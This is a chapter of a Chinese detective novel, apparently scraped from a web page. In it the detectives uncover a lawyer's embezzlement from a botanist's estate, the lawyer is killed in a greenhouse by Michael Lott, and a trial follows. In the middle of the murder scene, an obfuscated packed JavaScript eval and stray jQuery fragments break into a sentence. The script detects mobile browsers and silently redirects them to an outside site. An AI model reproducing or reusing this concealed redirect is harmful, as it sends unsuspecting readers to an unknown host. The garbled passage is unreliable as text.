我们再次造访霍普金斯府邸时，迈克尔·洛特先生接待了我们。他看起来比上次更加疲惫，但依旧维持着得体的礼貌。


    “请随意查看，”他引我们进入爵士的书房，“爵士的记录都在这里。如果需要财务文件，特里梅因律师那边应该也有存档，我可以请他送来。”


    简道了谢，我们便开始工作。


    研究手册极其详尽，记录了那株秋海棠从杂交选育到稳定的全过程，笔迹是爵士的，偶尔有洛特的补充注释。


    他们，我是说霍普金斯爵士和迈克尔·洛特先生确实痴迷于植物。大量的手写笔记，但是并没有详细的关于资金的记录。


    “洛特先生，你和霍普金斯先生似乎并不怎么关系资金的问题？”简看着账本问。


    “嗯，爵士不太喜欢关心这些琐事，而且他也不需要担心这些问题。而且他不太喜欢我接触这些事情。”洛特先生说。


    当然，可以理解。


    当简将研究手册末尾附带的几份“学会赞助”回执与银行提供的汇款记录比对时，问题出现了。


    回执上的金额数目，远小于实际汇出的数额。中间差额的流向，是个大问题。


    “看来，‘皇家园艺学会促进基金’胃口不小，而且很灵活。”简轻声道，将文件推到我面前。


    “怎么了吗？里斯克侦探？本侦探？是资金有什么问题吗？”对于我们的行为，洛特先生也察觉到了些事情。


    读者们，我不得不仔细形容一下洛特先生。他很英俊，不过三十来岁，有着那种标准的学者气。布兰奇太太形容他恰到好处，干净。甚至是天真。


    我想他之前的日子完全不需要考虑任何生活琐事，他只需要带在温室里，花园里，和霍普金斯爵士一道，研究植物。


    当然，再天真的人，面对这种情况，也会察觉到什么的。


    有时候我常常会想，如果我已经知道会发生什么，我是否会去阻止呢？


    这是一个无解的问题，因为时间无法倒转，而当时我，尚不知往后。


    ……


    我们请洛特叫来了特里梅因律师。


    他四十多岁了，长相…还算是平庸，小个子，但是身材臃肿。衣着依旧光鲜，但眼神闪烁，额角带着细密的汗珠。


    “洛特先生，这两位小姐是？”他有些犹豫地问。


    沉默。


    洛特先生就那样注视着他。仿佛想透过这个平庸…懦弱…他从未真正正视的人的皮囊，看入他的灵魂。


    “特里梅因律师，爵士曾经很信任你。”洛特先生盯着他说，“但是，为什么这些资金不对？！！”


    “我……我不知道这是怎么回事……”他起初还想辩解，声音发虚。


    “我银行的朋友会很乐意提供更详细的流水证明，包括最终收款账户的信息，”简的语气挑了挑眉，“需要我现在联系他吗？”


    特里梅因掏出了手帕擦汗。


    “是的…我是挪用了一些…”


    当一个人做了错事而得利，但是没有惩罚，即使害怕，他也会侥幸地继续下去。直到审判的达摩克利斯之剑彻底落下。


    最初只是小额挪用以弥补个人亏空，后来爵士对学会“赞助”的数额和频率增加，他的贪欲也越来越膨胀。


    他利用爵士对植物研究的全心投入和对他这个律师的信任，伪造回执，中饱私囊。


    “爵士他……他似乎察觉到了不对劲，去世前那天上午，他找我谈过，说要彻底清查近几年的所有学术赞助款项……”


    特里梅因的声音带着崩溃，“我完了……我的一切都完了……”


    洛特站在一旁，沉默地听着。他的脸色越来越白，紧抿着嘴唇，眼神里先是震惊，继而涌起巨大的失望和痛苦。


    他看着特里梅因，仿佛第一次真正认识这个人。或者说，这是他真正正视这个人。


    “老师那样信任你。”洛特的声音低沉，带着沙哑，“他给予你的，远比一个普通律师应得的要多得多。”


    “也许是！但是他看不起我不是吗？你也看不起我！”特里梅因突然抬头愤恨地说，“你们只是交流着学术，植物，还有自以为是的价值…所有的琐事账务全部都要我来完成！”


    洛特先生看着他，就像是完全没有想到这样的说法。


    “所以，特里梅因先生，请问你是否去过温室？在塞巴斯蒂安·霍普金斯先生之后？”我问。


    “…没有…当然没有…”特里梅因先生似乎冷静了下来，他擦着汗说。


    简注视着特里梅因，但是她最终还是什么都没说。


    临时起意的补刀，没有目击证人，甚至没有祖国的物证。


    我们不能证明特里梅因先生是凶手，他甚至否认进过那个悲剧发生的温室。


    “特里梅因先生，我想我们需要认真谈。”洛特先生看向了我们，“抱歉，小姐们，可以给我们一些私人空间吗？感谢你们。”


    特里梅因先生留在原地，背影僵硬。


    “彭哈利根女士！帮忙送客！”洛特先生喊。


    剩下的，确实是私人的事情了，很明显，这个时候应该拨打警察厅的电话，虽然没法证明特里梅因律师是凶手，但他一定是经济犯。但是洛特先生明显不愿意让我们参与，彭哈利根女士也过来引导我们了。


    我和简，自然没有强待下去的必要。


    当然，离开的时候，简回头认真地审视着那两个人，最终还是和我一起离开了。


    经过温室时，玻璃门敞开着，里面温暖的空气涌出，夹杂着秋海棠浓郁甜腻的香气。花朵开得正盛，猩红夺目。


    当我们走到府邸大门外，简却忽然放缓了脚步。


    “弗瑞，”她极轻地说，目光望向温室的方向，“你听见了吗？”


    我侧耳倾听。


    冬日的庭院很安静，只有风声。


    然后，隐约地，从温室那边，似乎传来一声闷响，像是有什么重物倒下。


    我们对视一眼，立刻转身往回疾走。


    温室里，景象骇人。


    劳伦斯·特里梅因倒在培育秋海棠的花盆旁，额角有着可怕的伤口，鲜血正汩汩流出，染红了地面。


    他瞪着眼睛，似乎完全没明白发生了什么。


    迈克尔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387475|177843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ·洛特站在他旁边，手里紧握着一把原本放在温室工作台上的小巧园艺锄。锄刃上沾着血和泥土。


    看到我们去而复返，洛特的表情有些意外。但也没有什么反抗，他只是松开了手。园艺锄掉落在特里梅因身侧，发出沉闷的一声。


    他的目光越过我们，投向那株秋海棠，声音轻得几乎听不见。


    “他说……谁也说不清了……他怎么能……当着她的面……”


    ……


    当地的审判进行得很快。切尔西的议论纷纷被法庭的门挡在外面。


    埃莉诺·霍普金斯小姐站出来操持了一切。她聘请了律师，整理了所有证据，包括特里梅因挪用资金的确凿事实，以及洛特先生当场被我们撞见的无可辩驳。


    塞巴斯蒂安·霍普金斯先生当然也被传唤了。


    他的律师出具了医疗证明，声称他长期处于精神恍惚和意识不清的状态，尤其事发当日，根本不具备完全行为能力。


    证据不足，加上霍普金斯这个姓氏尚存的余荫，他被当庭释放。


    他由人搀扶着离开，目光始终空洞地望着前方，或许仍困在他那个只有花和酒的世界里。


    迈克尔·洛特没有为自己辩护太多。


    他承认了。


    他说特里梅因玷污了爵士的信任和心血，并且玷污了那秋海棠，毫无悔意，甚至语带轻蔑。


    法官问，这就是你杀人的理由？


    他沉默片刻，回答：“是的。”


    他被判处死刑。


    遗产最终归了埃莉诺·霍普金斯小姐。


    她放弃了塞巴斯蒂安的监护权，将他送进了一家条件尚可的私立疗养院。无论他是否真正有病，还是正常。


    “他需要专业照顾，”她对律师说，“而我需要让这个家继续下去。”


    她走出了房间，似乎也想明白了什么是最实际的选择。


    ……


    回到“常青藤与夜莺”旅馆，布兰奇太太给我们端来了热茶，脸上是抑制不住的唏嘘和另一种意义上的满足。


    “啧啧啧，完全想不到啊！”她压着声音，眼睛因为激动而发亮，“特里梅因律师居然干出这种事！贪得无厌！还有洛特先生，那样一个体面人，文文静静的，竟然会杀人！真是知人知面不知心！”


    她感叹着，又去忙活了，留下我和简坐在温暖的起居室里。


    我捧着茶杯，热气氤氲着视线。窗外是切尔西的冬日天空。


    后知后觉地，我忽然明白了。


    洛特先生对杀了特里梅因，是因为一种更深沉、更绝望的感情。


    爱情是毒药。


    它让克拉拉·贝尔身心俱损，也让迈克尔·洛特走上了绞刑架。


    至于洛特先生那复杂的感情，究竟是对早已离去的维拉，还是对似乎深情的霍普金斯先生，那已经没有答案和意义了。


    秋海棠依旧在霍普金斯府的温室里盛放着，猩红，浓郁，美丽得不顾一切。


    仿佛什么都没有发生过。


    即使她曾经见证过两个人到在了她面前。


    但那又和她有什么关系呢？